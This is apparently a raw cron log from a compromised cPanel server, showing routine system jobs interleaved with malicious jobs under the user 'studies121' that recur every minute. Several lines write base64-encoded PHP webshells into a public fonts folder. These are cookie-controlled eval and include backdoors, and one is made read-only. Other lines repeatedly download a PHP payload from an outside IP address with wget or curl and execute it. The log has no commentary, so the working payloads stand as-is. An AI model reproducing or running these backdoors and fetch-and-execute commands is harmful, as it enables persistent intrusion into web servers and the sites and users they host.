Aug 30 10:41:01 ip-184-168-122-23 CROND[26554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:41:01 ip-184-168-122-23 CROND[26555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:41:01 ip-184-168-122-23 CROND[26556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:42:01 ip-184-168-122-23 CROND[26655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:42:01 ip-184-168-122-23 CROND[26657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:42:01 ip-184-168-122-23 CROND[26660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:42:01 ip-184-168-122-23 CROND[26658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:42:01 ip-184-168-122-23 CROND[26659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:43:01 ip-184-168-122-23 CROND[26790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:43:01 ip-184-168-122-23 CROND[26791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:43:01 ip-184-168-122-23 CROND[26795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:43:01 ip-184-168-122-23 CROND[26794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:44:01 ip-184-168-122-23 CROND[26903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:44:01 ip-184-168-122-23 CROND[26906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:44:01 ip-184-168-122-23 CROND[26905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:44:01 ip-184-168-122-23 CROND[26908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:44:01 ip-184-168-122-23 CROND[26904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:45:01 ip-184-168-122-23 CROND[27009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:46:01 ip-184-168-122-23 CROND[27173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:46:01 ip-184-168-122-23 CROND[27174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:46:01 ip-184-168-122-23 CROND[27177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:46:01 ip-184-168-122-23 CROND[27182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:46:01 ip-184-168-122-23 CROND[27183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:46:01 ip-184-168-122-23 CROND[27180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:46:01 ip-184-168-122-23 CROND[27181]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 10:47:01 ip-184-168-122-23 CROND[27287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:47:01 ip-184-168-122-23 CROND[27286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:47:01 ip-184-168-122-23 CROND[27288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:47:01 ip-184-168-122-23 CROND[27289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:48:01 ip-184-168-122-23 CROND[27425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:48:01 ip-184-168-122-23 CROND[27427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:48:01 ip-184-168-122-23 CROND[27429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:48:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:48:01 ip-184-168-122-23 CROND[27430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:49:01 ip-184-168-122-23 CROND[27763]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 10:49:02 ip-184-168-122-23 CROND[27764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:49:02 ip-184-168-122-23 CROND[27767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:49:02 ip-184-168-122-23 CROND[27766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:49:02 ip-184-168-122-23 CROND[27765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:50:01 ip-184-168-122-23 CROND[28119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:50:01 ip-184-168-122-23 CROND[28127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28126]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:50:01 ip-184-168-122-23 CROND[28124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:51:01 ip-184-168-122-23 CROND[28486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:51:01 ip-184-168-122-23 CROND[28487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:51:01 ip-184-168-122-23 CROND[28488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:51:01 ip-184-168-122-23 CROND[28489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:52:01 ip-184-168-122-23 CROND[28748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:52:01 ip-184-168-122-23 CROND[28749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:52:01 ip-184-168-122-23 CROND[28751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:52:01 ip-184-168-122-23 CROND[28753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:52:01 ip-184-168-122-23 CROND[28750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:53:01 ip-184-168-122-23 CROND[29020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:53:01 ip-184-168-122-23 CROND[29024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:53:01 ip-184-168-122-23 CROND[29023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
